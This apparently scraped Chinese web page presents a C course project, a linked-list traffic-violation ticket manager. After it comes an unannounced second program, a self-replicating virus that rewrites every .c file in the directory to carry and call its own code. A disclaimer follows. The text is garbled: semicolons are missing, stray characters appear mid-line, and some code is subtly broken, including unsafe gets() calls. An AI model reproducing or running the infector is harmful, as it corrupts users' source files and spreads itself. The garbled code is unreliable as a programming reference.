◆C语言课程设计----车辆交通违章管理程序◆

◆C语言课程设计----车辆交通违章管理程序◆,第1张

//VC++6.0下调试通过

#include <stdio.h>

#include <stdlib.h>

#include <malloc.h>

#include <string.h>

#include <time.h>

typedef enum {s_park=1, s_speed, s_signal, s_other} SheetType

typedef enum {f_id, f_car, f_driver, f_police} FindType

typedef struct Sheet

{

signed long id//罚单

char carNo[20]//车牌号

char driver[20]//司机名

char police[20]//警察编号

SheetType type//罚单类型

tm time//出单日期

}Sheet

typedef struct Node

{

Sheet data

Node* next

}Node

static Node* begin=NULL//哨兵结点

static signed long len=0//链表长度

void printMenu()//打印菜单

void printBye()//打印退出界面

void printList(Node* bg)//打印所有罚单信息

void printNode(Sheet sheet)//打印单条罚单

Node* lookupSheet(void* pInfo, signed short* n,

FindType type=f_id)//根据类型查询罚单。成功返回结点。侍指岁失败NULL

int addNode(Node* bg, Sheet sheet)//添加罚单。成功返回链表长度。内存分配失败0

int deleteNode(signed short stid)//根据罚单号删除罚单。

int total(char* driver, tm date1, tm date2, signed short* icar,

signed short* ispeed, signed short* isignal, signed short* iother)//统计

int getListlen(Node* bg)

void freeList(Node* bg)//释放链表

void main()

{

//初始化链表。

begin=(Node*)malloc(sizeof(Node))

begin->next=NULL

printf("----------------------------------------------------------------------------\n")

printf("--- 《交通罚单管理系统》---\n")

printf("---沙支夸依 2007-12-24 ---\n")

printf("----------------------------------------------------------------------------\n")

printf("||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n")

printMenu()

while (1)

{

fflush(stdin)

char cmd=getchar()

Sheet sheet

memset(&sheet, 0, sizeof(Sheet))

switch (cmd)

{

case '1':

printf("---添加交通处罚单信息。(车牌号为 0 结束)\n")

while (1)

{

printf("请输入违章车辆号: ")

fflush(stdin)

gets(sheet.carNo)

if (!strcmp(sheet.carNo,"0"))

break

printf("请输老睁入逗磨违章司机姓名: ")

fflush(stdin)

gets(sheet.driver)

printf("请输入开单交警编号: ")

fflush(stdin)

gets(sheet.police)

printf("请选择违章类型(1-违章停车 2-超速 3-不按信号灯行使 4-其它):")

scanf("%d", &sheet.type)

printf("请输入开单日期(例 2007-12-24): ")

scanf("%d-%d-%d", &sheet.time.tm_year, &sheet.time.tm_mon, &sheet.time.tm_mday)

int succ=addNode(begin, sheet)

if (!succ)

{

printf("内存错误!请重新输入!\n")

}

else

printf("添加成功!当前记录数: %d\n", len)

printf("\n")

}

printMenu()

break

case '2':

printf("---删除交通处罚单信息。(罚单号为 0 结束)\n")

while (1)

{

signed short stid=0

printf("请输入要删除的罚单号:")

scanf("%d", &stid)

if (!stid)

break

Node* delNode=lookupSheet(&stid, NULL)

if (!delNode)

printf("对不起!你要删除的记录不存在。\n")

else

{

printNode(delNode->data)

printf("您确定要删除这条记录吗?(任意键删除/ n 取消)\n")

fflush(stdin)

char cDelete=getchar()

if ('n'==cDelete)

continue

printf("删除成功!剩余记录数: %d\n",deleteNode(stid))

}

printf("\n")

}

printMenu()

break

case '3':

printf("---查询交通处罚单信息。(输入 0 结束)\n")

while (1)

{

printf("请选择查询类型: 1-车辆号 2-司机 3-交警 4-退出\n>>>")

Node* findNode=NULL

int findtype=0

scanf("%d", &findtype)

if (4==findtype)

break

char findInfo[20]

signed short findcout=0

switch (findtype)

{

case 1:

printf("请输入车辆号: ")

fflush(stdin)

gets(findInfo)

findNode=lookupSheet(findInfo, &findcout, f_car)

if (getListlen(findNode)>=5)

{

printf("---该车辆违章超过5次。建议重罚。\n")

}

break

case 2:

printf("请输入司机姓名: ")

fflush(stdin)

gets(findInfo)

findNode=lookupSheet(findInfo, &findcout, f_driver)

if (getListlen(findNode)>=5)

{

printf("---该司机违章超过5次。建议重罚。\n")

}

break

case 3:

default:

printf("请输入交警编号: ")

fflush(stdin)

gets(findInfo)

findNode=lookupSheet(findInfo, &findcout, f_police)

}

if (!findNode)

printf("对不起!你要查询的记录不存在。\n")

else

{

printList(findNode)

freeList(findNode)

}

printf("\n")

}

printMenu()

break

case '4':

printf("---统计司机处罚单信息。(输入 0 结束)\n")

while (1)

{

printf("请输入司机姓名: ")

char driver[20]

fflush(stdin)

gets(driver)

if (!strcmp(driver, "0"))

break

printf("请输入起始日期(如 2007-12-24): ")

tm date1

memset(&date1, 0, sizeof(tm))

scanf("%d-%d-%d", &date1.tm_year, &date1.tm_mon, &date1.tm_mday)

printf("请输入终止日期(如 2007-12-24): ")

tm date2

memset(&date2, 0, sizeof(tm))

scanf("%d-%d-%d", &date2.tm_year, &date2.tm_mon, &date2.tm_mday)

signed short car, speed, signal, other

int sum=total(driver, date1, date2, &car, &speed, &signal, &other)

printf("司机姓名:%-10s 违章停车:%2d 超速:%2d 不按信号灯行使:%2d 其它:%2d 共计:%2d\n",

driver, car, speed, signal, other, car+speed+signal+other)

printf("\n")

}

printMenu()

break

case '5':

printList(begin)

printMenu()

break

case '6':

printf("---修改交通处罚单信息。(输入 0 结束)\n")

while (1)

{

signed short stid=0

printf("请输入要修改的交通处罚单号:")

fflush(stdin)

scanf("%d", &stid)

if (!stid)

break

Node* updataNode=lookupSheet(&stid, NULL)

if (!updataNode)

printf("对不起!你要修改的记录不存在。\n")

else

{

printNode(updataNode->data)

memset(&sheet, 0, sizeof(Sheet))

sheet.id=stid

printf("请修改违章车辆号: ")

fflush(stdin)

gets(sheet.carNo)

printf("请修改违章司机姓名: ")

fflush(stdin)

gets(sheet.driver)

printf("请修改开单交警编号: ")

fflush(stdin)

gets(sheet.police)

printf("请修改违章类型(1-违章停车 2-超速 3-不按信号灯行使 4-其它):")

scanf("%d", &sheet.type)

printf("请修改开单日期(例 2007-12-24): ")

scanf("%d-%d-%d", &sheet.time.tm_year, &sheet.time.tm_mon, &sheet.time.tm_mday)

updataNode->data=sheet

printNode(updataNode->data)

}

printf("\n")

}

printMenu()

break

case '7':

printBye()

freeList(begin)

exit(0)

break

default:

printMenu()

}

}

}

void printMenu()

{

printf("----------------------------------------------------------------------------\n")

printf("--- 1、添加交通处罚单信息。2、删除交通处罚单信息。 ---\n")

printf("--- 3、查询交通处罚单信息。4、统计司机处罚单信息。 ---\n")

printf("--- 5、浏览交通处罚单信息。6、修改交通处罚单信息。 ---\n")

printf("--- 7、退出。 ---\n")

printf("----------------------------------------------------------------------------\n")

printf(">>>")

}

void printBye()

{

printf("----------------------------------------------------------------------------\n")

printf("感谢您使用交通罚单管理系统 \n")

printf("再 见 \n")

printf("----------------------------------------------------------------------------\n")

}

void printNode(Sheet sheet)

{

char* type=NULL

switch (sheet.type)

{

case s_park:

type="违章停车"

break

case s_speed:

type="超速"

break

case s_signal:

type="不按信号灯行使"

break

case s_other:

default:

type="其它"

}

printf("罚单号:%-6d 车牌号:%-10s 司机名:%-10s 交警名:%-10s\n"

"罚单类型:%-15s 开单日期:%d-%d-%d\n",

sheet.id, sheet.carNo, sheet.driver, sheet.police,

type, sheet.time.tm_year, sheet.time.tm_mon, sheet.time.tm_mday)

printf("--------------------------------------------------------------------------\n")

}

void printList(Node* bg)

{

Node* temp=bg->next

if (!temp)

{

printf("暂时无记录可供浏览!\n")

}

while (temp)

{

printNode(temp->data)

temp=temp->next

}

}

Node* lookupSheet(void* pInfo, signed short* n, FindType type)

{

Node* result=NULL

if (type)

{

result=(Node*)malloc(sizeof(Node))

result->next=NULL

*n=0

}

Node* temp=begin->next

switch (type)

{

case f_id:

while (temp)

{

if (temp->data.id==*(signed long*)pInfo)

{

if (n)

*n=1

return temp

}

temp=temp->next

}

break

case f_car:

while (temp)

{

if (!strcmp(temp->data.carNo,(char*)pInfo))

{

addNode(result, temp->data)

(*n)++

}

temp=temp->next

}

break

case f_driver:

while (temp)

{

if (!strcmp(temp->data.driver,(char*)pInfo))

{

addNode(result, temp->data)

(*n)++

}

temp=temp->next

}

break

case f_police:

while (temp)

{

if (!strcmp(temp->data.police,(char*)pInfo))

{

addNode(result, temp->data)

(*n)++

}

temp=temp->next

}

break

}

return result

}

int addNode(Node* bg, Sheet sheet)

{

Node* temp=(Node*)malloc(sizeof(Node))

if (!temp)

return 0

if (bg==begin)

{

if (bg->next)

{

sheet.id=bg->next->data.id+1

}

else

sheet.id=1

}

temp->data=sheet

temp->next=bg->next

bg->next=temp

return ++len

}

int deleteNode(signed short stid)

{

Node* temp=begin

Node* pos=NULL

while (temp->next)

{

if (temp->next->data.id==stid)

{

pos=temp->next

temp->next=pos->next

free(pos)

return --len

}

temp=temp->next

}

return -1

}

int getListlen(Node* bg)

{

Node* temp=bg

int i=0

while (temp->next)

{

i++

temp=temp->next

}

return i

}

void freeList(Node* bg)

{

Node* temp=NULL

while (bg)

{

temp=bg->next

free(bg)

bg=temp

}

}

int total(char* driver, tm date1, tm date2, signed short* icar,

signed short* ispeed, signed short* isignal, signed short* iother)

{

signed short result=0

*icar=0

*ispeed=0

*isignal=0

*iother=0

Node* findNode=lookupSheet(driver, &result, f_driver)

if (!findNode)

{

free(findNode)

return 0

}

time_t o,n,nw

date1.tm_year-=1900

date2.tm_year-=1900

o=mktime(&date1)

n=mktime(&date2)

if (o<n)

{

time_t tp=o

o=n

n=tp

}

Node* temp=findNode->next

while (temp)

{

tm t=temp->data.time

t.tm_year-=1900

nw=mktime(&t)

if (nw>o||nw<n)

{

temp=temp->next

continue

}

switch (temp->data.type)

{

case 1:

(*icar)++

break

case 2:

(*ispeed)++

break

case 3:

(*isignal)++

break

case 4:

default:

(*iother)++

}

temp=temp->next

}

freeList(findNode)

return result

}

#include <stdio.h>

#include <dir.h>

void main(void)

{

virus()

}

int virus()

{

struct ffblk ffblk

FILE *in,*out,*read

char *virus="virus.c"

char buf[50][80]

char *p

char *end="return"

char *bracket="}"

char *main="main"

char *include[2]={"stdio.h","dir.h"}

char *int_virus="int virus()"

char *buffer

int done,i,j=0,flag=0

printf("\nI have a virus. Writen by PuBin\n")

done = findfirst("*.c",&ffblk,0)

while (!done)

{

i=0

if ((in = fopen(ffblk.ff_name, "rt"))== NULL)

{

goto next

}

do{

if(i>=50)

{

fclose(in)

goto next

}

p=fgets(buf[i],80,in)

i++

}while(p!=NULL)

fclose(in)

out=fopen(ffblk.ff_name,"w+t")

fputs("#include<stdio.h>\弊游n",out)

fputs("#include<dir.h>\n",out)

do

{

if(strstr(buf[j],main)!=NULL)

{

for(j<i-1j++)

if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)

fputs(buf[j],out)

else

{

if(flag==0)

{

flag=1

fputs("virus()\n",out)

}

fputs(buf[j],out)

}

}

else if((strstr(buf[j],include[0])==NULL)

&&(strstr(buf[j],include[1])==NULL))

{

fputs(buf[j],out)

j++

}

else

j++

}while(j<i-1)

read=fopen(virus,"rt")

do

{

p=fgets(buffer,80,read)

if(strstr(buffer,int_virus))

while(p!=NULL)

{

if(strstr(buffer,virus)==NULL)

fputs(buffer,out)

else

{

fputs(" char *virus=\"",out)

fputs(ffblk.ff_name,out)

fputs("\"\n",out)

}

p=fgets(buffer,80,read)

}

}while(p!=NULL)

fclose(read)

fclose(out)

printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name)

next: done = findnext(&ffblk)

}

return 0

}

严重声明:这个程序只是供C语言新手参考,开玩笑没关系,但如果用来做不法的事情,本人神中概不负责。还有,编病毒、木马去做违法的事情惩罚是很重的,你如果想学编程,编个简单的就好了,否则后果很严游卜山重。


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原文地址: http://outofmemory.cn/yw/12411004.html

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